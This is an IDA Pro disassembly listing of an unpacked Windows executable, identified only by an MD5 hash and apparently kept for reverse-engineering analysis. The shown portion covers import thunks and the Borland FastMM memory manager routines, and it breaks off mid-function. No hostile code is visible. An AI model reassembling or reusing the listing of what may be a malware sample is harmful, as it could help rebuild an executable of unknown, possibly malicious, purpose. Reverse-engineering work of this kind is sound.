;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 98776A37A77160CC843A6C4310599464
; File Name : u:\work\98776a37a77160cc843a6c4310599464_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 40000000
; Section 1. (virtual address 00001000)
; Virtual size : 000173EC ( 95212.)
; Section size in file : 000173EC ( 95212.)
; Offset to raw data for section: 00001000
; Flags 60000020: Text Executable Readable
; Alignment : default
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Execute
_text segment para public 'CODE' use32
assume cs:_text
;org 40001000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
off_40001000 dd offset dword_40001004 ; DATA XREF: .text:40006E36o
; .text:400077E5o ...
dword_40001004 dd 7473060Ah, 676E6972hoff_4000100C dd offset dword_40001010 ; DATA XREF: .text:40006AD6o
; .text:40006ADEo ...
dword_40001010 dd 69570A0Bh, 74536564h, 676E6972hoff_4000101C dd offset dword_40001068 ; DATA XREF: .text:40001108o
; .text:40006E08o ...
dd 7 dup(0)
dd offset dword_40001068
dd 4, 0
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_40003CD8
dword_40001068 dd 624F5407h, 7463656Ah ; .text:4000103Co ...
off_40001070 dd offset dword_40001074 ; DATA XREF: .text:4000D6D0o
; .text:40013185o
dword_40001074 dd 4F540707h, 63656A62h db 74h
dd offset dword_40001068
align 4
dword_40001084 dd 6000000h, 74737953h, 6D65h, 244483CCh, 0D9E9F804h, 83000051h
; DATA XREF: .text:off_400010B1o
dd 0F8042444h, 51F7E9h, 24448300h, 1E9F804h, 0CC000052h
db 0CCh
off_400010B1 dd offset dword_40001084+0Dh ; DATA XREF: .text:400010D1o
dd offset dword_40001084+17h
dd offset dword_40001084+21h
byte_400010BD db 1, 2 dup(0) ; DATA XREF: .text:400010E4o
dd 2 dup(0)
dd 0C000h, 0
db 46h
dd offset off_400010B1
db 8, 2 dup(0)
align 10h
off_400010E0 dd offset dword_4000112C ; DATA XREF: .text:40007930o
dd offset byte_400010BD
dd 6 dup(0)
dd offset dword_4000112C
dd 0Ch
dd offset off_4000101C
dd offset sub_40003EF4
dd offset sub_40006248
dd offset sub_40006254
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40006264
dd offset sub_40003C9C
dd offset sub_40003CD8
dword_4000112C dd 6E495411h, 66726574h, 64656361h, 656A624Fh, 0C08B7463h
; DATA XREF: .text:off_400010E0o
; .text:40001100o
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001140 proc near ; CODE XREF: sub_4000314C+4p
; .text:40003308p
jmp ds:dword_400244AC
sub_40001140 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001148 proc near ; CODE XREF: .text:40003204p
; sub_40003644+9Bp
jmp ds:dword_400244A8
sub_40001148 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001150 proc near ; CODE XREF: .text:400032EDp
jmp ds:dword_400244A4
sub_40001150 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001158 proc near ; CODE XREF: .text:40003228p
jmp ds:dword_400244A0
sub_40001158 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001160 proc near ; CODE XREF: .text:loc_400032D7p
; sub_40003644:loc_400036FFp ...
jmp ds:dword_4002449C
sub_40001160 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001168 proc near ; CODE XREF: sub_40003FE8+14p
; sub_40004004+16p ...
jmp ds:dword_40024498
sub_40001168 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001170 proc near ; CODE XREF: sub_400030D0+1Ep
; .text:40003265p
jmp ds:dword_40024494
sub_40001170 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001178 proc near ; CODE XREF: sub_400040D8+D2p
; .text:40004470p
; DATA XREF: ...
jmp ds:dword_40024490
sub_40001178 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001180 proc near ; CODE XREF: .text:4000329Cp
jmp ds:dword_4002448C
sub_40001180 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001188 proc near ; CODE XREF: .text:40003244p
; .text:4000328Ep
jmp ds:dword_40024488
sub_40001188 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001190 proc near ; CODE XREF: sub_400040D8+6Ap
; sub_400040D8+A7p ...
jmp ds:dword_40024484
sub_40001190 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001198 proc near ; CODE XREF: sub_40003110+1Fp
; sub_40004704+3Fp ...
jmp ds:dword_40024480
sub_40001198 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400011A0 proc near ; CODE XREF: sub_40002EFC+Cp
; sub_40002EFC+3Ap ...
jmp ds:dword_4002440C
sub_400011A0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400011A8 proc near ; CODE XREF: sub_40004790+C0p
jmp ds:dword_4002447C
sub_400011A8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400011B0 proc near ; CODE XREF: sub_40002540+39Ep
; sub_40004704+78p
jmp ds:dword_40024408
sub_400011B0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400011B8 proc near ; CODE XREF: sub_40005C60+123p
jmp ds:dword_40024478
sub_400011B8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400011C0 proc near ; CODE XREF: sub_40005C60+111p
jmp ds:dword_40024474
sub_400011C0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400011C8 proc near ; CODE XREF: sub_40004790+88p
jmp ds:dword_40024470
sub_400011C8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400011D0 proc near ; CODE XREF: sub_40002FF8:loc_4000302Ep
; .itext:4001906Cp
jmp ds:dword_4002446C
sub_400011D0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400011D8 proc near ; CODE XREF: sub_40002D8Cp
; sub_400030D0+27p ...
jmp ds:dword_40024468
sub_400011D8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400011E0 proc near ; CODE XREF: sub_40005E24+12Fp
jmp ds:dword_40024464
sub_400011E0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400011E8 proc near ; CODE XREF: sub_40002FF8+24p
; sub_40005BC0+1Ep ...
jmp ds:dword_40024460
sub_400011E8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400011F0 proc near ; CODE XREF: sub_40005C60+1Dp
jmp ds:dword_4002445C
sub_400011F0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400011F8 proc near ; CODE XREF: sub_40005C60+34p
jmp ds:dword_40024458
sub_400011F8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001200 proc near ; CODE XREF: sub_400012A0+Ap
jmp ds:dword_40024454
sub_40001200 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001208 proc near ; CODE XREF: sub_40005E24+129p
jmp ds:dword_40024450
sub_40001208 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001210 proc near ; CODE XREF: sub_40005E24+1B1p
; sub_40005E24+1E9p ...
jmp ds:dword_4002444C
sub_40001210 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001218 proc near ; CODE XREF: sub_400062F0+32p
jmp ds:dword_40024404
sub_40001218 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001220 proc near ; CODE XREF: sub_40005C60+64p
; sub_40005C60+C8p ...
jmp ds:dword_40024448
sub_40001220 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001228 proc near ; CODE XREF: sub_40005C60+12Fp
; sub_40005C60+16Fp ...
jmp ds:dword_40024444
sub_40001228 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001230 proc near ; CODE XREF: sub_400049C4+12p
jmp ds:dword_40024440
sub_40001230 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001238 proc near ; CODE XREF: sub_40003B94+6Bp
; sub_40005E24+FFp
jmp ds:dword_400243F4
sub_40001238 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001240 proc near ; CODE XREF: sub_40003B94+22p
; sub_40005E24+3Ap ...
jmp ds:dword_400243F0
sub_40001240 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001248 proc near ; CODE XREF: sub_40003B94+55p
; sub_40005E24+BFp ...
jmp ds:dword_400243EC
sub_40001248 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001250 proc near ; CODE XREF: sub_400049A4+16p
jmp ds:dword_4002443C
sub_40001250 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001258 proc near ; CODE XREF: sub_40002208+39p
; sub_40005B98+Bp
jmp ds:dword_40024438
sub_40001258 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001260 proc near ; CODE XREF: sub_40004FE0+7p
; sub_400050F8+Bp
jmp ds:dword_400243E4
sub_40001260 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001268 proc near ; CODE XREF: sub_40005044+1Ap
jmp ds:dword_400243E0
sub_40001268 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001270 proc near ; CODE XREF: sub_40004FF8+7p
; sub_40005008+Ep ...
jmp ds:dword_400243DC
sub_40001270 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001278 proc near ; CODE XREF: .text:400062A6p
jmp ds:dword_40024434
sub_40001278 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001280 proc near ; CODE XREF: sub_40006248+4p
; .text:400062BCp
jmp ds:dword_40024430
sub_40001280 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001288 proc near ; CODE XREF: .itext:4001908Ap
jmp ds:dword_4002442C
sub_40001288 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001290 proc near ; CODE XREF: sub_40003058+4p
jmp ds:dword_40024428
sub_40001290 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001298 proc near ; CODE XREF: sub_40003058:loc_40003070p
jmp ds:dword_40024424
sub_40001298 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_400012A0 proc near ; CODE XREF: .itext:40019076p
var_1C = word ptr -1Ch
var_18 = word ptr -18h
push ebx
add esp, 0FFFFFFBCh
mov ebx, 0Ah
push esp
call sub_40001200 ; GetStartupInfoA
test byte ptr [esp+48h+var_1C], 1
jz short loc_400012BB
movzx ebx, [esp+48h+var_18]
loc_400012BB: ; CODE XREF: sub_400012A0+14j
mov eax, ebx
add esp, 44h
pop ebx
retn
sub_400012A0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400012C4 proc near ; CODE XREF: sub_400015DC+16p
; sub_40001694+20p ...
jmp ds:dword_40024420
sub_400012C4 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400012CC proc near ; CODE XREF: sub_400016F8+1Cp
; sub_40001A9C+190p ...
jmp ds:dword_4002441C
sub_400012CC endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400012D4 proc near ; CODE XREF: sub_40001654+Dp
; sub_40001654+26p ...
jmp ds:dword_40024418
sub_400012D4 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400012DC proc near ; CODE XREF: sub_40002BB4+Fp
jmp ds:dword_40024400
sub_400012DC endp
; ---------------------------------------------------------------------------
align 4
dd 0FFFFFFFFh, 57h
aFastmmBorlandE db 'FastMM Borland Edition © 2004, 2005 Pierre le Riche / Professiona'
; DATA XREF: .data:off_4001A040o
db 'l Software Development',0
; =============== S U B R O U T I N E =======================================
sub_40001344 proc near ; CODE XREF: sub_40001654+1Bp
; sub_40001654+34p ...
lock cmpxchg [ecx], dl
retn
sub_40001344 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000134C proc near ; DATA XREF: .data:off_4001A060o
mov ecx, [eax]
mov [edx], ecx
mov ecx, [eax+4]
mov eax, [eax+8]
mov [edx+4], ecx
mov [edx+8], eax
retn
sub_4000134C endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40001360 proc near ; DATA XREF: .data:4001A080o
mov ecx, [eax]
mov [edx], ecx
mov ecx, [eax+4]
mov [edx+4], ecx
mov ecx, [eax+8]
mov [edx+8], ecx
mov ecx, [eax+0Ch]
mov eax, [eax+10h]
mov [edx+0Ch], ecx
mov [edx+10h], eax
retn
sub_40001360 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40001380 proc near ; DATA XREF: .data:4001A0A0o
mov ecx, [eax]
mov [edx], ecx
mov ecx, [eax+4]
mov [edx+4], ecx
mov ecx, [eax+8]
mov [edx+8], ecx
mov ecx, [eax+0Ch]
mov [edx+0Ch], ecx
mov ecx, [eax+10h]
mov [edx+10h], ecx
mov ecx, [eax+14h]
mov eax, [eax+18h]
mov [edx+14h], ecx
mov [edx+18h], eax
retn
sub_40001380 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_400013AC proc near ; DATA XREF: .data:4001A0C0o
fild qword ptr [eax]
fild qword ptr [eax+8]
fild qword ptr [eax+10h]
fild qword ptr [eax+18h]
mov ecx, [eax+20h]
mov [edx+20h], ecx
fistp qword ptr [edx+18h]
fistp qword ptr [edx+10h]
fistp qword ptr [edx+8]
fistp qword ptr [edx]
retn
sub_400013AC endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_400013CC proc near ; DATA XREF: .data:4001A0E0o
fild qword ptr [eax]
fild qword ptr [eax+8]
fild qword ptr [eax+10h]
fild qword ptr [eax+18h]
fild qword ptr [eax+20h]
mov ecx, [eax+28h]
mov [edx+28h], ecx
fistp qword ptr [edx+20h]
fistp qword ptr [edx+18h]
fistp qword ptr [edx+10h]
fistp qword ptr [edx+8]
fistp qword ptr [edx]
retn
sub_400013CC endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_400013F0 proc near ; DATA XREF: .data:4001A100o
fild qword ptr [eax]
fild qword ptr [eax+8]
fild qword ptr [eax+10h]
fild qword ptr [eax+18h]
fild qword ptr [eax+20h]
fild qword ptr [eax+28h]
mov ecx, [eax+30h]
mov [edx+30h], ecx
fistp qword ptr [edx+28h]
fistp qword ptr [edx+20h]
fistp qword ptr [edx+18h]
fistp qword ptr [edx+10h]
fistp qword ptr [edx+8]
fistp qword ptr [edx]
retn
sub_400013F0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000141C proc near ; DATA XREF: .data:4001A120o
fild qword ptr [eax]
fild qword ptr [eax+8]
fild qword ptr [eax+10h]
fild qword ptr [eax+18h]
fild qword ptr [eax+20h]
fild qword ptr [eax+28h]
fild qword ptr [eax+30h]
mov ecx, [eax+38h]
mov [edx+38h], ecx
fistp qword ptr [edx+30h]
fistp qword ptr [edx+28h]
fistp qword ptr [edx+20h]
fistp qword ptr [edx+18h]
fistp qword ptr [edx+10h]
fistp qword ptr [edx+8]
fistp qword ptr [edx]
retn
sub_4000141C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000144C proc near ; DATA XREF: .data:4001A140o
fild qword ptr [eax]
fild qword ptr [eax+8]
fild qword ptr [eax+10h]
fild qword ptr [eax+18h]
fild qword ptr [eax+20h]
fild qword ptr [eax+28h]
fild qword ptr [eax+30h]
fild qword ptr [eax+38h]
mov ecx, [eax+40h]
mov [edx+40h], ecx
fistp qword ptr [edx+38h]
fistp qword ptr [edx+30h]
fistp qword ptr [edx+28h]
fistp qword ptr [edx+20h]
fistp qword ptr [edx+18h]
fistp qword ptr [edx+10h]
fistp qword ptr [edx+8]
fistp qword ptr [edx]
retn
sub_4000144C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40001484 proc near ; CODE XREF: sub_40001C7C+2D8p
; sub_40001C7C+32Fp
; DATA XREF: ...
sub ecx, 0Ch
add eax, ecx
add edx, ecx
neg ecx
jns short loc_400014A2
loc_4000148F: ; CODE XREF: sub_40001484+1Cj
fild qword ptr [ecx+eax]
fild qword ptr [ecx+eax+8]
fistp qword ptr [ecx+edx+8]
fistp qword ptr [ecx+edx]
add ecx, 10h
js short loc_4000148F
loc_400014A2: ; CODE XREF: sub_40001484+9j
fild qword ptr [ecx+eax]
fistp qword ptr [ecx+edx]
mov eax, [ecx+eax+8]
mov [ecx+edx+8], eax
retn
sub_40001484 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_400014B4 proc near ; CODE XREF: sub_40001C7C+41p
; sub_40001C7C+1A5p ...
sub ecx, 4
add eax, ecx
add edx, ecx
neg ecx
loc_400014BD: ; CODE XREF: sub_400014B4+12j
fild qword ptr [ecx+eax]
fistp qword ptr [ecx+edx]
add ecx, 8
js short loc_400014BD
mov eax, [ecx+eax]
mov [ecx+edx], eax
retn
sub_400014B4 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_400014D0 proc near ; CODE XREF: sub_40001570+4Cp
; sub_40001A9C+148p ...
mov ecx, [eax+4]
mov edx, [eax]
cmp ecx, edx
mov [ecx], edx
mov [edx+4], ecx
jz short loc_400014E0
locret_400014DE: ; CODE XREF: sub_400014D0+2Cj
retn
; ---------------------------------------------------------------------------
align 10h
loc_400014E0: ; CODE XREF: sub_400014D0+Cj
sub ecx, offset off_4001C7A8
mov edx, ecx
shr ecx, 3
movzx edx, dh
mov eax, 0FFFFFFFEh
rol eax, cl
and ds:dword_4001C728[edx*4], eax
jnz short locret_400014DE
mov eax, 0FFFFFFFEh
mov ecx, edx
rol eax, cl
and ds:dword_4001C724, eax
retn
sub_400014D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40001510 proc near ; CODE XREF: sub_40001570+33j
; sub_40001734+17Dp ...
sub edx, 0B30h
shr edx, 8
sub edx, 3FFh
sbb ecx, ecx
and edx, ecx
add edx, 3FFh
lea ecx, off_4001C7A8[edx*8]
mov edx, [ecx+4]
cmp edx, ecx
mov [eax], ecx
mov [eax+4], edx
mov [edx], eax
mov [ecx+4], eax
jz short loc_40001544
retn
; ---------------------------------------------------------------------------
align 4
loc_40001544: ; CODE XREF: sub_40001510+2Fj
sub ecx, offset off_4001C7A8
mov edx, ecx
shr ecx, 3
movzx edx, dh
mov eax, 1
shl eax, cl
or ds:dword_4001C728[edx*4], eax
mov eax, 1
mov ecx, edx
shl eax, cl
or ds:dword_4001C724, eax
retn
sub_40001510 endp
; =============== S U B R O U T I N E =======================================
sub_40001570 proc near ; CODE XREF: sub_400015DC+3p
; sub_40001A9C+1A6p
cmp ds:dword_4001C720, 0
jnz short loc_4000157C
retn
; ---------------------------------------------------------------------------
align 4
loc_4000157C: ; CODE XREF: sub_40001570+7j
mov eax, ds:dword_4001C71C
test byte ptr [eax-4], 1
jnz short loc_400015AC
or dword ptr [eax-4], 8
mov edx, ds:dword_4001C720
sub eax, edx
loc_40001593: ; CODE XREF: sub_40001570+68j
lea ecx, [edx+3]
mov [eax-4], ecx
mov [edx+eax-8], edx
cmp edx, 0B30h
jnb sub_40001510
retn
; ---------------------------------------------------------------------------
align 4
loc_400015AC: ; CODE XREF: sub_40001570+15j
mov edx, 0FFFFFFF0h
and edx, [eax-4]
cmp edx, 0B30h
jb short loc_400015CE
call sub_400014D0
mov eax, ds:dword_4001C71C
mov edx, 0FFFFFFF0h
and edx, [eax-4]
loc_400015CE: ; CODE XREF: sub_40001570+4Aj
mov ecx, ds:dword_4001C720
sub eax, ecx
add edx, ecx
jmp short loc_40001593
sub_40001570 endp
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_400015DC proc near ; CODE XREF: sub_40001734+1BEp
; sub_40001734+2DAp
push ebx
mov ebx, eax
call sub_40001570
push 4
push 1000h
push 140000h
push 0
call sub_400012C4 ; VirtualAlloc
test eax, eax
jz short loc_40001648
mov edx, ds:dword_4001C70C
mov ecx, eax
mov dword ptr [ecx], offset dword_4001C708
mov ds:dword_4001C70C, eax
mov [ecx+4], edx
mov [edx], eax
mov edx, eax
add edx, 140000h
mov ecx, edx
sub ecx, 4
mov dword ptr [ecx], 2
mov ecx, 13FFF0h
sub ecx, ebx
mov ds:dword_4001C720, ecx
sub edx, ebx
mov eax, edx
mov ds:dword_4001C71C, eax
or ebx, 2
mov edx, eax
sub edx, 4
mov [edx], ebx
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40001648: ; CODE XREF: sub_400015DC+1Dj
xor eax, eax
mov ds:dword_4001C720, eax
xor eax, eax
pop ebx
retn
sub_400015DC endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40001654 proc near ; CODE XREF: sub_40001694+36p
; sub_400016F8+8p
cmp ds:byte_4001C04D, 0
jz short locret_40001691
jmp short loc_4000167F
; ---------------------------------------------------------------------------
loc_4000165F: ; CODE XREF: sub_40001654+3Bj
push 0
call sub_400012D4 ; Sleep
mov ecx, offset byte_4001E7A8
mov dl, 1
xor eax, eax
call sub_40001344
test al, al
jz short locret_40001691
push 0Ah
call sub_400012D4 ; Sleep
loc_4000167F: ; CODE XREF: sub_40001654+9j
mov ecx, offset byte_4001E7A8
mov dl, 1
xor eax, eax
call sub_40001344
test al, al
jnz short loc_4000165F
locret_40001691: ; CODE XREF: sub_40001654+7j
; sub_40001654+22j
retn
sub_40001654 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40001694 proc near ; CODE XREF: sub_40001734+35Fj
push ebx
push esi
push edi
push ebp
mov ebp, eax
lea esi, [ebp+10010h]
dec esi
add esi, 4
and esi, 0FFFF0000h
push 4
push 101000h
push esi
push 0
call sub_400012C4 ; VirtualAlloc
mov ebx, eax
test ebx, ebx
jz short loc_400016EF
mov edi, ebx
mov [edi+8], ebp
or esi, 4
mov [edi+0Ch], esi
call sub_40001654
mov eax, ds:dword_4001E7B0
mov dword ptr [edi], offset dword_4001E7AC
mov ds:dword_4001E7B0, ebx
mov [edi+4], eax
mov [eax], ebx
mov ds:byte_4001E7A8, 0
add ebx, 10h
loc_400016EF: ; CODE XREF: sub_40001694+29j
mov eax, ebx
pop ebp
pop edi
pop esi
pop ebx
retn
sub_40001694 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_400016F8 proc near ; CODE XREF: sub_40001A9C+1D4j
push ebx
push esi
push edi
mov ebx, eax
sub ebx, 10h
call sub_40001654
mov eax, ebx
mov esi, [eax]
mov edi, [eax+4]
push 8000h
push 0
push ebx
call sub_400012CC ; VirtualFree
test eax, eax
jz short loc_40001726
mov [edi], esi
mov [esi+4], edi
xor eax, eax
jmp short loc_40001729
; ---------------------------------------------------------------------------
loc_40001726: ; CODE XREF: sub_400016F8+23j
or eax, 0FFFFFFFFh
loc_40001729: ; CODE XREF: sub_400016F8+2Cj
mov ds:byte_4001E7A8, 0
pop edi
pop esi
pop ebx
retn
sub_400016F8 endp
; =============== S U B R O U T I N E =======================================
sub_40001734 proc near ; CODE XREF: sub_40001C7C+30p
; sub_40001C7C+66p ...
lea edx, [eax+3]
shr edx, 3
cmp eax, 0A2Ch
push ebx
mov cl, ds:byte_4001C04D
ja loc_40001978
test cl, cl
movzx eax, ds:byte_4001C5C0[edx]
lea ebx, byte_4001A044[eax*8]
jnz short loc_400017B4
loc_4000175E: ; CODE XREF: sub_40001734+89j
; sub_40001734+97j ...
mov edx, [ebx+4]
mov eax, [edx+8]
mov ecx, 0FFFFFFF8h
cmp edx, ebx
jz short loc_40001784
add dword ptr [edx+0Ch], 1
and ecx, [eax-4]
mov [edx+8], ecx
mov [eax-4], edx
jz short loc_400017A4
mov byte ptr [ebx], 0
pop ebx
retn
; ---------------------------------------------------------------------------
align 4
loc_40001784: ; CODE XREF: sub_40001734+37j
mov edx, [ebx+10h]
movzx ecx, word ptr [ebx+2]
add ecx, eax
cmp eax, [ebx+0Ch]
ja short loc_40001800
add dword ptr [edx+0Ch], 1
mov [ebx+8], ecx
mov byte ptr [ebx], 0
mov [eax-4], edx
pop ebx
retn
; ---------------------------------------------------------------------------
align 4
loc_400017A4: ; CODE XREF: sub_40001734+46j
mov ecx, [edx+4]
mov [ecx+14h], ebx
mov [ebx+4], ecx
mov byte ptr [ebx], 0
pop ebx
retn
; ---------------------------------------------------------------------------
align 4
loc_400017B4: ; CODE XREF: sub_40001734+28j
; sub_40001734+C7j
mov eax, 100h
lock cmpxchg [ebx], ah
jz short loc_4000175E
add ebx, 20h
mov eax, 100h
lock cmpxchg [ebx], ah
jz short loc_4000175E
add ebx, 20h
mov eax, 100h
lock cmpxchg [ebx], ah
jz short loc_4000175E
sub ebx, 40h
push 0
call sub_400012D4 ; Sleep
mov eax, 100h
lock cmpxchg [ebx], ah
jz loc_4000175E
push 0Ah
call sub_400012D4 ; Sleep
jmp short loc_400017B4
; ---------------------------------------------------------------------------
align 10h
loc_40001800: ; CODE XREF: sub_40001734+5Cj
push esi
push edi
cmp ds:byte_4001C04D, 0
jz short loc_4000183C
loc_4000180B: ; CODE XREF: sub_40001734+103j
mov eax, 100h
lock cmpxchg ds:byte_4001C718, ah
jz short loc_4000183C
push 0
call sub_400012D4 ; Sleep
mov eax, 100h
lock cmpxchg ds:byte_4001C718, ah
jz short loc_4000183C
push 0Ah
call sub_400012D4 ; Sleep
jmp short loc_4000180B
; ---------------------------------------------------------------------------
align 4
loc_4000183C: ; CODE XREF: sub_40001734+D5j
; sub_40001734+E4j ...
movsx esi, byte ptr [ebx+1]
and esi, ds:dword_4001C724
jz short loc_400018B8
bsf eax, esi
lea esi, ds:0[eax*8]
mov ecx, ds:dword_4001C728[eax*4]
bsf ecx, ecx
lea ecx, [ecx+esi*4]
lea edi, off_4001C7A8[ecx*8]
mov esi, [edi+4]
mov edx, [esi+4]
mov [edi+4], edx
mov [edx], edi
cmp edi, edx
jnz short loc_4000188C
mov edx, 0FFFFFFFEh
rol edx, cl
and ds:dword_4001C728[eax*4], edx
jnz short loc_4000188C
btr ds:dword_4001C724, eax
loc_4000188C: ; CODE XREF: sub_40001734+13Fj
; sub_40001734+14Fj
mov edi, 0FFFFFFF0h
and edi, [esi-4]
cmp edi, 10A60h
jb short loc_40001908
mov edx, edi
movzx edi, word ptr [ebx+1Ah]
sub edx, edi
lea eax, [edi+esi]
lea ecx, [edx+3]
mov [eax-4], ecx
mov [edx+eax-8], edx
call sub_40001510
jmp short loc_4000190D
; ---------------------------------------------------------------------------
loc_400018B8: ; CODE XREF: sub_40001734+112j
